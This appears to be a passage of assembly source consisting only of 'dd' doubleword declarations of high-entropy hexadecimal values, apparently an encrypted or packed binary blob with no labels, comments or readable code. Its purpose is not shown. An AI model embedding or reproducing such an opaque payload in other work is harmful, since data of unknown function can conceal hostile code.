0EB69274h, 192530BBh, 0C47F10A3h dd 7E4E002Ah, 4822E508h, 0ED7F6C30h, 1E185B05h, 8CB7DA0Fh dd 1BE2E552h, 2FE7F30h, 53C9BC9Dh, 0CD60337Dh, 5B3AF05h dd 0EE163428h, 6DDD3090h, 1588874Bh, 825B2EC2h, 0E190FFBCh dd 7AC27D9Eh, 719960CCh, 0C6D9D31h, 174433A7h, 58973060h dd 0C0B1F548h, 88A2BC60h, 5E5D00A8h, 0A6826611h, 0DC1C4D84h dd 2718CBECh, 5A59F6E8h, 0AEC6E34h, 0B0870FA6h, 92C0449h dd 4351625h, 0E0AC51Fh, 1612160h, 0A6381D8Dh, 49B7B11Eh dd 0FAB7F98Bh, 95578280h, 28014208h, 0EC1F8A0Fh, 0B3FA59B7h dd 831CDDBCh, 0CCC554E7h, 781FE86Ch, 0C817880h, 0B67DFD1h dd 11A55943h, 1085F287h, 474D31F8h, 0F4BECC03h, 136EBAF7h dd 527D8D6Ah, 0E0CFF67Dh, 1663DB43h, 4BC7BF9h, 52325E6h dd 97EC6EE9h, 6D858904h, 0E75B880Ah, 8B2440F6h, 4674CEC1h dd 68EB1915h, 0D255616Ah, 824A6AA3h, 437C2F7Fh, 730B9E4Ah dd 24D6627h, 1B02DE81h, 0DDE00BB5h, 0A7250E83h, 37B8957h dd 5ECFB8D1h, 0F426E9Eh, 8067EA69h, 0BF3A5551h, 8D0F26E2h dd 0BDE9448Eh, 0BC8F0073h, 42980DC3h, 0AD4901F1h, 47248D34h dd 62446A7Dh, 0C3241A31h, 0E6B5193Dh, 0E041E14Eh, 0B2E50103h dd 8C0F1257h, 0B85267A4h, 7380F54Bh, 3882BF5Fh, 4B5265Ah dd 8B34F36Dh, 0C019886Bh, 6CC51EAEh, 0CBE03028h, 4AE77935h dd 6A00036Fh, 0C611BEF6h, 0FCA1135Fh, 0F60825C1h, 3878F07Bh dd 1AC60C9Ch, 74581BBEh, 5875EE5Bh, 0B1A099B6h, 0D324F28Eh dd 4538034Dh, 0A8D16068h, 0D2010EBCh, 0D527205Fh, 0EE41D3FFh dd 5D6D1CE5h, 80DA9BD2h, 63D26A1Bh, 284580A6h, 27036080h dd 0F219DB5h, 52985h, 0B636E961h, 165C708Bh, 0B9E96080h dd 0E5D90026h, 374A9339h, 0D72D8798h, 45739E61h, 22425746h dd 0F650699Dh, 752D2E90h, 994C9617h, 181A7116h, 99BA1E59h dd 0E225C1E7h, 0D711B529h, 20485C5Ah, 83FC81BAh, 681490BDh dd 0B3A592FCh, 7DC0E71Bh, 94D0B25h, 0DCC8D84Bh, 3A1B3B12h dd 962B76BDh, 8093D030h, 5AC06E0Bh, 0BCBC8D4Fh, 14AC1F69h dd 211E588Ch, 17294110h, 0BB7E44E9h, 68672E00h, 0AA4FC60Bh dd 81F8F625h, 1126F7BBh, 25C25B49h, 0F9E08360h, 0F5302FCh dd 5A0E8188h, 16238D61h, 9919BF02h, 0F2D13590h, 6D0E6097h dd 204E1061h, 56DFFA1Dh, 74739E00h, 0A2B22F52h, 0B592056Eh dd 0A161585Fh, 0F14A66E3h, 6E29E9F9h, 3DD53B00h, 3A28817Ch dd 9E7D1409h, 44CE8BA8h, 0E15A470Bh, 0E574AD48h, 0A9898217h dd 1FC65892h, 82423B00h, 1EE9C2EAh, 45E42Eh, 94E6FDBAh dd 0C7B96E2Bh, 56E8660Eh, 99CC325Fh, 61D805BEh, 0C39075B6h dd 5E8B5095h, 164ABCB4h, 0D0532DE9h, 63E036B6h, 352E9F5Eh dd 0CE061EABh, 385A318Bh, 0DB4EB0FEh, 0B8938798h, 0A1F0C0F1h dd 5EE569Eh, 9B70E645h, 364C1ADh, 343B71E4h, 0C66E15Bh dd 0F70032F4h, 4981FF87h, 95CDC1Dh, 86F23323h, 1B5198F3h dd 2C385A18h, 0AD130B77h, 95F001A6h, 8F3D06C9h, 5ADD9150h dd 23BA6A2Ah, 0A99C0119h, 20C6D74Fh, 0C79E83B4h, 0D10D3162h dd 628420C0h, 0D82B1381h, 9B704CD3h, 0F791758h, 56F0208Bh dd 5F5C6160h, 41BE1E47h, 6DB6092Dh, 1DD3C076h, 5004BB6Eh dd 1862C4D4h, 2BD73FE9h, 91523CEh, 0C86D2E6Fh, 55601D64h dd 597E708Ah, 2C892704h, 2CECC7CCh, 0E627BB8Fh, 0D23B8065h dd 1701A36Ah, 0F3B9B204h, 6D2CB0EFh, 268F924h, 21918501h dd 986A3BD4h, 9D1101D6h, 500FF465h, 58413AE9h, 2915B93Ch dd 7E2A98F4h, 0B4FD2DDAh, 232F322h, 0F48354h, 0BE39CE7Eh dd 0AB1ABF6h, 358D3113h, 4FB66022h, 0ED57412Ah, 12CB789Ah dd 0BE342550h, 0F2E09DB6h, 4EE98B3Ch, 0C71688ACh, 49DE5F3h dd 8D0561D2h, 8E127BD0h, 9125B1F0h, 9B6A6ACh, 0CEC80AA9h dd 0B2932175h, 40714D2Fh, 4F48F7ADh, 0C93B7C0Ah, 17DEAB58h dd 0C2B81DCDh, 69D90A16h, 0D8502F91h, 20EE5B03h, 0F5B5314Bh dd 8327129Ah, 0EF4FCDC1h, 0E4B04E80h, 8B2D2C82h, 0BA4EAEF2h dd 0DCAE7627h, 0CCDD5F00h, 892B2286h, 213D2D95h, 0A9ED6FB2h dd 4B2D0840h, 0DE41F732h, 636A2469h, 2F56916Fh, 27F0F026h dd 2CCB3A5h, 2505BD89h, 888B63D4h, 7E9BB20Eh, 8D8B8671h dd 6116E16Dh, 5DD8C32Bh, 9B37D745h, 9CF8197h, 0F49F93CAh dd 3A1A79Dh, 71873FEFh, 68707A36h, 0BA8B0Dh, 0E5E0B3C3h dd 27A1C94Ah, 95741C05h, 70B16797h, 2D213741h, 0ADC3C39Eh dd 0B8D1DAE8h, 6B85C725h, 427B90EAh, 67BE065Bh, 405561FCh dd 93B79Dh, 19A18357h, 0CD624102h, 0B0BC9D4h, 5A924447h dd 0C9B0D0A7h, 3A072B10h, 0B0835835h, 0BE988825h, 0C1CF1E81h dd 0FF38C52Dh, 885F9A85h, 3087C016h, 0BBECBFF5h, 0B341AC2Dh dd 54BEE138h, 0F6936F62h, 2A94A0DAh, 8EAB02BEh, 50EB7584h dd 54DB140h, 0BF1DE082h, 0DBE35E35h, 6818815Dh, 60CA3B52h dd 0D6279598h, 794FC959h, 71E7F0FEh, 44A2A78Ah, 3E4A6018h dd 2E3F3174h, 69C95DC6h, 1F7FB8F3h, 1D3DB53h, 8D0FF2EEh dd 2D21BB21h, 30D6C68Ch, 6E0F14E9h, 50001D75h, 39277426h dd 2780FCEDh, 6DB2CD71h, 17073741h, 0E00B8E66h, 7823B3F9h dd 9A002E82h, 44357E45h, 48718589h, 0C782F533h, 955BAD04h dd 71F8EA73h, 2CB83A87h, 962E019Eh, 8B2FC1CAh, 0A24423C1h dd 6AFE301Ah, 80A46705h, 0B4A8B509h, 0BC386D80h, 0BA3E835Ah dd 335E040Bh, 0A7F111BDh, 7C5E6DEh, 0DE831E44h, 202A404Dh dd 1017938h, 0DF5B4EF1h, 3F3A04EBh, 182358h, 512DDEE3h dd 369853BCh, 5F802FECh, 99BD3A23h, 2F07ACFh, 0D0A4F7A9h dd 10DC1B6h, 94D9F512h, 71585BA3h, 0A5011DE5h, 0DA80E5C9h dd 505E1102h, 10566027h, 8DD4B1h, 74D38B44h, 0A19B51F2h dd 5E714175h, 5F505239h, 61250D97h, 4B293DB0h, 91F69795h dd 470A859Dh, 59E68E55h, 0B51F1D24h, 93A2215Dh, 0E5327888h dd 0C2898450h, 6192000h, 75E8EEBFh, 2B9FB644h, 4C9B78EEh dd 48877A01h, 50FC98FFh, 5EB6EEBEh, 98B00CF2h, 814A4F29h dd 8182E8A0h, 0BF82D1B7h, 5765E7FAh, 0E0535C84h, 81035ECEh dd 6330AAD6h, 15A162Ah, 9C3A1185h, 37E89F59h, 2E179A7Ch dd 0B3C54664h, 8100A3A3h, 7CC30DEEh, 0BD5A037Bh, 89A3FD95h dd 0B22724Ch, 0BA401AB4h, 9119BE1h, 0D3FF69F9h, 0EDC8C5Eh dd 8359B9F8h, 56A42D21h, 0B59F4005h, 9EB60C51h, 8570F9EBh dd 0B207FCE9h, 29CCC970h, 707B5B0Fh, 1601E434h, 0BD092ADEh dd 28761D71h, 14786C2h, 6760296Fh, 4AE7A812h, 4433F123h dd 786BFDA8h, 0F9E59D30h, 5BB9BD2Bh, 1AC752Fh, 11F1FB18h dd 228A6D48h, 23B9674h, 1EDCBD83h, 2D118CD9h, 0E9FB7261h dd 0BD55C288h, 0DF11024Ch, 0FF40EBA7h, 0C28205A5h, 0A83A0DF7h dd 34E8016Dh, 0F50479FAh dd 0E997029Fh, 8B05DBB9h, 642A85BDh, 7AF08937h, 8500876Eh dd 4ED34501h, 80900205h, 288DC084h, 59B84E60h, 0AEE513BCh dd 4E65F76Ah, 0EC00916Ah, 0DB0591EDh, 4E2C90DDh, 512516C4h dd 0ACA992D3h, 877B5A07h, 7591212Dh, 168C2E2Ch, 0F88825C2h dd 0CDF66A9Ah, 903B2210h, 0A250F397h, 21D00012h, 86A0161Eh dd 54EF0BBEh, 0C0290CBh, 870E33E9h, 53090409h, 337978EDh dd 9965E000h, 684AFAB8h, 230F60E8h, 0BC72F6E9h, 82C65400h dd 51EFE146h, 0AD1C120Eh, 8078EC29h, 0D6E2CD43h, 0A2640E0Ah dd 0A660FAE0h, 7B07D1A4h, 0E6C4B24Eh, 0C5E0D2F6h, 0A72D7D5Fh dd 6D478259h, 70E60216h, 77C375Dh, 0A7C8F836h, 71E4728Bh dd 72DCD754h, 898EB70Ch, 0A3002477h, 89707C64h, 0D8B606A0h dd 49837BDh, 0F5144D2Ch, 256F6FEBh, 8BEDBC0Bh, 1DD1E9F9h dd 9C03CD18h, 0A0394045h, 0C6D9043h, 59B51303h, 42F2C929h dd 0B555354Bh, 801A9132h, 0D1CA97D2h, 10CE710Dh, 4AFFB70Fh dd 860493B2h, 87959ADEh, 0F83934C4h, 0BE5E0088h, 1083A63h dd 2E39BA93h, 26D46D3Eh, 9C161334h, 9301C7CCh, 3EEC8158h dd 81311A26h, 541EFF8h, 0FE796F30h, 0B8ABFD93h, 0A7E927DDh dd 2661371Ah, 0D63639F6h, 0AA0F9A6h, 4500FE77h, 0D86C1DAh dd 59B59D29h, 0D6016C2Ch, 16E9190Bh, 446F2EB0h, 0C58BC616h dd 608F0BB6h, 11214C02h, 0ACC88000h, 968AB661h, 0B09BF7CBh dd 7CD72A1h, 0B509C9BBh, 0D1523B89h, 9D0D216Ah, 1B5F5689h dd 5C8AD281h, 335381F0h, 21945B5h, 5672415Eh, 7AF14291h dd 379F4F92h, 0FCAA0512h, 0B5CE8037h, 6E9110C9h, 40B7EFA7h dd 0CD304FACh, 0D6A0BF04h, 42804E67h, 2D5229C6h, 35A261F3h dd 6BFC011Dh, 0E174F4h, 607559F3h, 0C2BEF08Bh, 312793EEh dd 0F8A5E661h, 83F8127Bh, 0BC24FDC1h, 647100F9h, 81185C83h dd 0A01C6F7h, 4DBE42F3h, 0DADEA650h, 42B44561h, 3DD8FEEAh dd 29FA23A2h, 0D18DAAC5h, 0B0B98D93h, 4C40AF96h, 73512E61h dd 6B8B3069h, 1B918D9Fh, 32E06A80h, 0CC00D8EFh, 0ABE3BB3h dd 0B754FADFh, 116527B8h, 12B5B80h, 10E681C3h, 6D7A49D7h dd 13238E2Ch, 6AE896A9h, 0E9EF3B13h, 0C08B8BD1h, 0A9B8DA7Dh dd 0F28BCE16h, 0C9FC23D5h, 6ED4B80h, 2E02FC73h, 36129DECh dd 5F10427Fh, 2D5A2D89h, 25CD9509h, 0C0976D1Dh, 0DC909B1Ah dd 89E74105h, 6DAC618Dh, 14A26943h, 162F6031h, 2D4A8F95h dd 603D4F35h, 30C7B338h, 60A8B500h, 8D31B6B1h, 0E7044A0Dh dd 0B4045E0Bh, 0EED990E0h, 7AFA207Ah, 48009517h, 5030FCFDh dd 139D4F3h, 8326690Ch, 2B5FDC66h, 43B688h, 9FB1BB15h dd 81D50D2Eh, 9B4CE3Ch, 765F46DDh, 25B5C1E3h, 0DB900227h dd 0AB887053h, 4C6DE000h, 8B7BAEE4h, 93214EB5h, 0A3FFC735h dd 0F9E2045Ch, 0BD031F40h, 4842095Eh, 7E1341B5h, 8D01852Ah dd 0E23B88F5h, 0A566DE0Eh, 0C9BA6012h, 45E96183h, 0D8D6C009h dd 9E551D03h, 0FC9BE230h, 0F6B8F9BDh, 0C5D38A05h, 0B0C29B0Fh dd 68B1012h, 11380DD4h, 0BD0920B1h, 7CC925DDh, 20CE161Fh dd 36B42B31h, 93892440h, 2CCF1FDAh, 9944C09Ah, 64E988B9h dd 87D181BFh, 44212866h, 0AECF0440h, 84095CB7h, 287570D9h dd 0C0335850h, 0E8813C2Eh, 2A880064h, 3023EB6Ah, 223F66B1h dd 0BE05FECBh, 5C325211h, 0F495F40Fh, 0D1D3527h, 70C46Fh dd 0F24038A1h, 0F80AE945h, 0B17FF71h, 0ADF40DBDh, 187A1C1h dd 9F1F314h, 688DBD31h, 0B4FA8B87h, 4C7969A5h, 0F8A661A7h dd 0C9998214h, 6F278454h, 0B974087h, 48A2870Fh, 7B0A19D4h dd 0D91F86Ah, 0A7905027h, 127D8A7Fh, 5F7B1118h, 572A42AEh dd 0B0A0A019h, 0D72792A7h, 789CB233h, 6A37B795h, 505EC204h dd 3F84CCFCh, 5D7AAB58h, 0B6DA8803h, 0CAE15D46h, 0B58D41A8h dd 6ADB24E9h, 838EB7B7h, 214ED707h, 0FBF6E7F8h, 51349F05h dd 0CF88B529h, 0AF4C9F5Fh, 8CB061B0h, 29617A9Eh, 53E3D95h dd 0DBD3FFB4h, 0EC1CC198h, 203A4A0Bh, 0FDDE733Dh, 0A57FA200h dd 92E231A7h, 9F660E44h, 0B8855760h, 2FDC5DBh, 6199491Ah dd 1BD81D1h, 1254409Ch, 383E42E9h, 2A414CF0h, 85F25A3Ch dd 7AD87C53h, 219116F1h, 65CD318Dh, 557EC81Fh, 51887102h dd 7ED13EF1h, 3B021081h, 0A59DB85Fh, 0D026DB07h, 8300D64Dh dd 87855A56h, 1633A4DDh, 9D08C1BDh, 0F1E6B78Ch, 5FF05604h dd 5F412DC1h, 0ABA29324h, 20603D7Bh, 0A68F8305h, 0BB720F0Ch dd 8BD5EE44h, 28CD62EFh, 1A11BBD1h, 0A9ED7150h, 4A6AE9E6h dd 57E840h, 0D7E63EACh, 0A1A0A227h, 6EB85EF7h, 69012781h dd 1DD3EC71h, 0DFF79C57h, 4DE9CDE8h, 81B45E1Ch, 0FB1280C7h dd 0E7C25049h, 6017E466h, 509FAFDEh, 12D6D91Ch, 358D0DBEh dd 0E2890B1Bh, 0B525A545h, 0CF5D0744h, 61A25069h, 98B430E1h dd 0E489092Dh, 1249497Fh, 0C7005DF8h, 49984A8Ah, 62586916h dd 991C207h, 2989D251h, 1610F285h, 628C0F50h, 0F3D6691Bh dd 0C21CEB9h, 5EEA45E9h, 3B09F403h, 81986EE8h, 0B05045E2h dd 776F3Eh, 7FF73ADDh, 51FF1E0h, 15850111h, 0E773A72Bh dd 0EB740A30h, 0C4E54C45h, 70D4174h, 2119482h, 70F871E4h dd 4D2B7CB2h, 204BD6D1h, 6EA2BFB6h, 8B2DA770h, 0E137C3h dd 91851442h, 8B27E4EDh, 0F6C80AF0h, 0C50C1109h, 0ED7B27A9h dd 1CF9B058h, 425793FAh, 5F5EF18Bh, 0BF014254h, 1C40D6FCh dd 2045572Ah, 9C7597C0h, 7EA9AD04h, 57A844B1h, 4D87884Ah dd 7C544200h, 88A4EFCEh, 0C21002EAh, 0F93DC087h, 93956354h dd 3A3BCFCh, 20698E36h, 1BA8CC1h, 78D4125Dh, 0BDB5E27Bh dd 1491BC9Fh, 5456C48Bh, 9E10E808h, 884C0E5h, 5E7F353Bh dd 0D69E8300h, 93476ADEh, 251C9AD8h, 41B3779Bh, 0D1F39227h dd 0D6E0AE21h, 31840A04h, 0CD81AD21h, 142C19BBh, 527F809Dh dd 81FE9B38h, 50D65A24h, 7A6B725h, 0E74356BAh, 0AA3451EFh dd 1759692Eh, 0F691024Ah, 8C2A1D75h, 14E18FD3h, 19A8A3EDh dd 5F02028Ch, 84BD3BD0h, 0E322EB56h, 40F4CF9Dh, 4A41C9AAh dd 0A3EA8D00h, 0B0605597h, 886158E0h, 0A6118516h, 62A64B87h dd 0EDA308B0h, 1158E77h, 248FB595h, 18AFD05Eh, 208D8995h dd 0DCA00AE9h, 6572F681h, 0AD46C128h, 2C0BAD4Eh, 7033F358h dd 1B097534h, 70B64C17h, 6BDC27B9h, 65E0B413h, 4A00B34Dh dd 0E3B58D57h, 2A29061h, 0A97C2514h, 0A4D25E6Fh, 128B5144h dd 0ED07B9F2h, 98ECED66h, 0C18325C6h, 4D786A5Bh, 4BF55A63h dd 5E560389h, 1B467Ch, 3883A079h, 2DB5D142h, 0AA09F51Fh dd 928269B7h, 0C02DD9C9h, 822A81A7h, 0B3986F60h, 0A244BAB4h dd 0C456604Bh, 33481710h, 6061DF16h, 41BD31CBh, 545B02FFh dd 3AC13D74h, 0EC485C20h, 0E7DB0037h, 85BF937Ch, 985C9C6Ah dd 0A6240F25h, 2BC082C6h, 0DC6F7CC3h, 0C59C4D01h, 8161C232h dd 49C4143Dh, 12B11704h, 0E9B1CBA7h, 34E0162Bh, 0B611E9F0h dd 1C60F16Ah, 7EA58442h, 89C08154h, 3E33E995h, 85C7FB31h dd 119C412Bh, 30186B65h, 431AD7CBh, 5E38168Eh, 0BE3F40EFh dd 0BD006166h, 3A53F022h, 4121B529h, 289A2A08h, 91C2E22h dd 79E7A19Dh, 5CB96881h, 0B7091646h, 1C026BE4h, 61C5AAC7h dd 40A1ED2Dh, 8DCB9769h, 0CE9A6109h, 9FEFD95Dh, 0DCE91509h dd 0DAAD745Eh, 0C100DC4Fh, 0D51E7EECh, 4F639890h, 0A8BF1535h dd 0ED12E3BCh, 0EAF6EECEh dd 29BAF0E7h, 6D066A3Ch, 7456B53Eh, 24CD2594h, 10D57A22h dd 30BA5704h, 259A8E05h, 33AF6201h, 0B773DDEh, 1FA99C8h dd 0E907DF31h, 0CE5EFE8Bh, 0D5671377h, 14B8AC8h, 0A7D64958h dd 7BCAD028h, 6427A36Eh, 4E0172C4h, 2F018F74h, 6979FA8Bh dd 874E0CB8h, 0C780109Bh, 7F0F6997h, 10457A90h, 0FCFA206Bh dd 77003F93h, 63F9BB9Dh, 0A9B4EC57h, 0E90102B5h, 0CD113EEDh dd 0B30AC41h, 8AC60CC0h, 1E25AB02h, 0EDF8100h, 24AB2FCAh dd 0BF60FF40h, 0D33A8804h, 0CEB1B925h, 709D5BCAh, 51002C1Ch dd 0E181674Dh, 99888DD0h, 0AC0B81BBh, 0D0536221h, 0D2C3FA9h dd 7E00F05Ch, 0C1230ADFh, 0C8FC4BADh, 32160843h, 0C300EB47h dd 0DD1C1EA7h, 0E18D2621h, 820F89A0h, 0B737E0FAh, 10F41CC8h dd 5C14915Dh, 5CA681ADh, 3CFC106Dh, 0D5F70090h, 7C113451h dd 293C1E15h, 2F0A5E9Dh, 6DA5348Bh, 754EC17Eh, 2A91718Bh dd 0E1831302h, 0B4074301h, 2E14A153h, 4C5EC851h, 17BD1412h dd 0D281B01Bh, 29310598h, 0BE606178h, 1B2F3D1Ah, 94444AE0h dd 0E88C161Dh, 8C1DFC81h, 19D41300h, 0FE0BD3Fh, 0D9311D8Ch dd 686DDF33h, 13AAB531h, 80C6032Bh, 0D64123F7h, 0B8977D3Dh dd 0F1920131h, 0DEE6C739h, 0F15C61FAh, 0BF6B852Fh, 0D0CC5698h dd 0A31B0061h, 0F03309D6h, 8E3B637Ah, 4685006Ch, 893821E2h dd 0D85D4DBDh, 93AF5829h, 0EDE6E924h, 390ECC8h, 0BB66B007h dd 0FA420C38h, 0B8BD5D89h, 4F5900BDh, 0A354C787h, 0F2DB7D9h dd 203DEC89h, 0B482555h, 492920F1h, 1D202C61h, 7C8A6058h dd 8543825Dh, 0F2E49D2Bh, 5A83A661h, 0B076A72Ah, 25298FDh dd 7DBB918Bh, 8D039E6Bh, 60692D0Dh, 27002E37h, 0B0FCCB68h dd 0A75199BAh, 64C3E0CDh, 3D55A04Ah, 5CF048FCh, 0F96D565Ah dd 0B52B8C3h, 134E09Ch, 1A0C9E84h, 0A4695456h, 0A1D91E2Ah dd 0B4293720h, 3497BCC4h, 1409F07Eh, 0A0D950D8h, 0B2F40200h dd 58B9C9h, 7F3ED737h, 69FEB321h, 0C25FB02Ch, 31135122h dd 3729D5BDh, 91499DEEh, 0B4DE8018h, 90BA1337h, 5F2D60D8h dd 2CE4A6BFh, 125A194Ch, 0C652F0Dh, 74A817FDh, 13831A48h dd 7F700211h, 1071F681h, 5D10C586h, 0F040566Bh, 5F793D40h dd 1CF9209Ch, 0EE18825Eh, 71604760h, 0DAEF9F28h, 9B945640h dd 0D0A0639Ah, 4F2AF58Dh, 95EC5D8Bh, 0D301A92Bh, 4D49259Ah dd 0DB97E2EBh, 0C0F74740h, 0BB11CD05h, 675D8BFDh, 2236D195h dd 51BFEC03h, 0B22DDBD3h, 6F01A0B8h, 9C3BC1E9h, 0C7D0F480h dd 0E9159685h, 0C9804137h, 0BF15DF0Fh, 0C2803917h, 61C88B89h dd 0B9C0BBCDh, 0EEBE4ADh, 0E99D6107h, 0C02B9E17h, 762D75FEh dd 0BB571CC8h, 0DB3B520Bh, 0B958984Eh, 0A7390991h, 0F18041D5h dd 0C18BC425h, 0B02A6056h, 5D0BFF8h, 0A76ABEDBh, 0E8EDEDCCh dd 490A008Dh, 0B5179A90h, 0F555BD83h, 975C0EEh, 3AD12C4h dd 50197441h, 0B8708B53h, 898EC038h, 0B713E285h, 0AA9E6721h dd 0E7052A17h, 2267585Bh, 0EE2021E8h, 0EDC9A748h, 0C767C0AFh dd 0E42EA1F4h, 991124ADh, 259D0109h, 76C8FEADh, 1F2AE118h dd 629D2360h, 49BD4B2Fh, 0E8181E50h, 95DB0905h, 96174185h dd 0F45345E6h, 5DB831E9h, 0F1B70F18h, 88346D6Ch, 3DB508CFh dd 3FB00EDh, 33920B34h, 885CD304h, 0CBB4820Fh, 6F800CB9h dd 0FF7A737Fh, 2F59C4C4h, 13157AAEh, 9B12C822h, 6FE851D0h dd 0F4B1BE08h, 526C7F1Eh, 0BF0A2993h, 0D45B502h, 0BD1FF75Fh dd 396D2A59h, 970AEB15h, 0A23B171Eh, 0A191EC05h, 0E912224Dh dd 9A87DED4h, 8C1758C4h, 0DAC3D3D0h, 0B2F650DFh, 2D192C85h dd 0E1EF65Bh, 0FC820912h, 0DF07E6E8h, 3F24BDh, 586D344Dh dd 5AD6278Bh, 0F2C2C885h, 0BA3BE00h, 6CCAC8B3h, 60AF2EFh dd 2B5B7A78h, 0F14BC8A7h, 84ED6C23h, 959CE806h, 6AB95301h dd 5E11C6C7h, 33ED308Bh, 0F48674h, 0A8587421h, 0C1B9D08Dh dd 0D781EB03h, 0E030F7A3h, 9F0760E8h, 0AB420E4Fh, 165F7EB9h dd 11960534h, 0B5FA2108h, 0A0DDA502h, 0E51CC6F3h, 2B7600CEh dd 60DBE2F0h, 9D1089AAh, 591D17F1h, 0B29374E8h, 42B3007Dh dd 0B4D4404Ah, 7D1618E5h, 23E16298h, 0FD8F793h, 0A7BCC050h dd 0DBE85EFCh, 13790664h, 0DAB27740h, 3B076BC8h, 2D33948Eh dd 0D201E831h, 32EB93ECh, 218AC26Ah, 18B73758h, 0F3B2E85Eh dd 84B0DE2Eh, 988139A7h, 0AA492A99h, 7A2F23E5h, 3733003Ch dd 51640F48h, 1D913115h, 122B35B0h, 65162C5Ah, 0B485E697h dd 198D9F8Dh, 5432F25h, 236FFBh, 3E73082Ch, 0B56F263h dd 50DAD2CBh, 76B37C76h, 0B36A8609h, 40B378ACh, 870BE70Bh dd 4000DC33h, 0D57CA95h, 31228400h, 0A43C2397h, 24C22E87h dd 5FFA02E5h, 0D06AD6E8h, 1DCBCF4h, 0C53EFD42h, 7DE960CCh dd 0B8340775h, 20BFEC4Fh, 6159518Ch, 0D2939D8Bh, 2CBDF210h dd 151F24Eh, 0D6305267h, 75EE6448h, 3341F910h, 5AE9B525h dd 4A7CFC42h, 80959E05h, 0EC99B16Dh, 0C6494A76h, 2AEC9032h dd 7083CB83h, 0A2BE0F5Fh, 0E8879253h, 0C756BB42h, 6EDB00F4h dd 93122829h, 0D262B1F5h, 733A974h, 4E54AB60h, 72C231C0h dd 0B0612F78h, 2BCBFB61h, 5AA41A10h, 0DA3FE1B5h, 0CF1C885Dh dd 27192CA0h, 7C0397C4h, 8D0F41A3h, 0F5250901h, 0DD82C38Bh dd 3F5F0E09h, 0DB06807Dh, 710FFBC4h, 0D7C4F95Bh, 3EA56EBAh dd 66E381F6h, 11E948BCh, 59CBB310h, 86BD9D00h, 2BB5C5F1h dd 305B0269h, 5F254979h, 0EF001B56h, 52C30483h, 53602550h dd 79F9ED90h, 22BB1000h, 1FB85BCEh, 7CF7127Ah, 4891F861h dd 91D16DEh, 0DAD5FFADh, 0B19060BCh, 1D987E13h, 940034E2h dd 6971E4B5h, 0D1F85F11h, 0BB519217h, 0A87AB0E8h, 3C2FB9FCh dd 5B2F6460h, 97C0B04Dh, 26C7F9h, 3506001h, 958DA63Bh dd 7627D920h, 0ED656E89h, 387B1AC9h, 13CA70h, 9A9349DFh dd 81606D28h, 3AF1CB0Eh, 0CE8A45EAh, 442AE04h, 0B5B88DEDh dd 0BF2C4202h, 50A8F3E4h, 0B5286265h, 0BE789D85h, 1AD8D3h dd 0DC10F40Ch, 6AB4E1B5h, 173634DCh, 0E2058C0Fh, 0FBEF17B2h dd 0F41A770Bh, 6648DCE6h, 0EC78C063h, 9DF547h, 9B7EB3A1h dd 146F55F4h, 5357500Ah, 0EDA79873h, 0BF49C02Fh, 1D28A23Bh dd 0D929F167h, 2F399107h, 40126F27h, 6111B302h, 0EFB4760Bh dd 5BCF526Ah, 7816E1Ah, 9096E06Eh, 0D20BF4F0h, 0FA4EDA1Ah dd 39E430CDh, 59BD65C0h, 50748213h, 137F2B14h, 0CBF919D1h dd 0CD12EEE8h, 0D1C755Fh, 9BFCD722h, 805D80DFh, 0B06EB1C8h dd 0F9CB68D3h, 2C00DECCh, 4F49135Ch, 0C4307AF7h, 0FF059DECh dd 8D00AC7Ah, 86C9E9A7h, 0BD699245h, 702673E8h, 1900BEA8h dd 8C968471h, 35BF668Eh, 0B9F1B6A4h, 0CADB8DBh, 0DDBD3151h dd 0F2C45EE5h, 25A72C69h, 0F00CEAA0h, 6BD1D1Dh, 0FCF31FC6h dd 0DCF99EF6h, 7A00E978h, 14659C2h, 831DD1B5h, 36EF75Bh dd 0FC85B02h, 922068Fh, 0F6A8FFBDh, 19C10980h, 66D02B73h dd 32F5345Ah, 0B874ADF4h, 135E388Fh, 8BA67686h, 30B6EDCAh dd 0C21601DCh, 0FC7A05Dh, 4D1BB880h, 0C80C2C61h, 20E700F6h dd 0AC1AFCDFh, 9897890Fh, 8B1119DBh, 31F284FCh, 0F29995B4h dd 1053E0BAh, 73ADAC50h, 456F0079h, 0B8641871h, 155B8D03h dd 8ABB5FF4h, 66B78DDDh, 0A8B8042Dh, 8D8B38C1h, 9F7B115Dh dd 98C19C16h, 22C1BD01h, 0C8B2CF7Ah, 5C77C116h, 9DAA708Ch dd 0A77A335Eh, 40EC2300h dd 6617AAA6h, 0D392B91Eh, 0DE08E4h, 0DF6F6694h, 0C58A3DB5h dd 0C0CCCD95h, 4D950131h, 0E5E2284Bh, 8BA58404h, 0C09BDBC0h dd 0BE944B4Fh, 290A006Dh, 0FBF681ACh, 665B0188h, 0A110B97Ah dd 0AB058402h, 2D20426Ah, 96B994A6h, 7901D42Dh, 88C04C09h dd 0B876870Fh, 2282E90Fh, 4948E47Ch, 3F074AE4h, 0A93E792Fh dd 0F1068BA0h, 24C30745h, 0CD74AF2Dh, 2A537AFAh, 0E100827Eh dd 84B9EDE4h, 0B700431Eh, 2FBB57A1h, 0B70A863h, 0DF8B505Bh dd 6EB40270h, 0E52107DCh, 0DA999D89h, 0C7C22D55h, 4A3C35F6h dd 58F09FA6h, 0FD144A91h, 11DE2EF6h, 17761011h, 0ED1944B4h dd 5CE9BCEFh, 0DE17FD79h, 9765BC23h, 202B5EA1h, 0FE906DD5h dd 0B463A800h, 3D370EFAh, 54C50216h, 8E257A9h, 0EAA005E0h dd 60CAA4A3h, 8B64985Fh, 9F6150C1h, 5B6D9F04h, 86B4DFE0h dd 0CC151C5Ah, 0AF9994FEh, 0B715E18Eh, 0EF19D985h, 0D7C8B975h dd 88E28Bh, 0BE41B53Bh, 0CDC6D70h, 0EC692201h, 8D8A7766h dd 0B190F7C6h, 0D12DFFFAh, 8340457h, 0B0025F09h, 0E10B2DB5h dd 0DE6E5BB8h, 8696C7CCh, 199A0AC0h, 3DC6C555h, 3ED9A534h dd 26AA044h, 0FD79C8Ch, 44E66D82h, 0B8F22580h, 6F0B05EDh dd 49490484h, 547EDE57h, 8A406F23h, 221D5E4Dh, 0E901077Ch dd 2C7B0E8Eh, 4440BE72h, 0DFB62460h, 92E002E6h, 866D6121h dd 0E6BC84E0h, 0B6F609F5h, 6101440Ah, 6B1888F9h, 61C0C5DBh dd 0D0F86E08h, 90F5BA19h, 0E2F6FBEAh, 3E14D709h, 0EB093E00h dd 75EAA7F8h, 0DCA80171h, 2B255D79h, 5C9B3F90h, 50D39787h dd 60CC37C7h, 32D8B507h, 3BB0DF81h, 17FC38BDh, 0F835FF64h dd 8C14FC41h, 246C959h, 89648467h, 95C5925h, 9F409185h dd 0F90BF781h, 0F01C2BD3h, 0AD679768h, 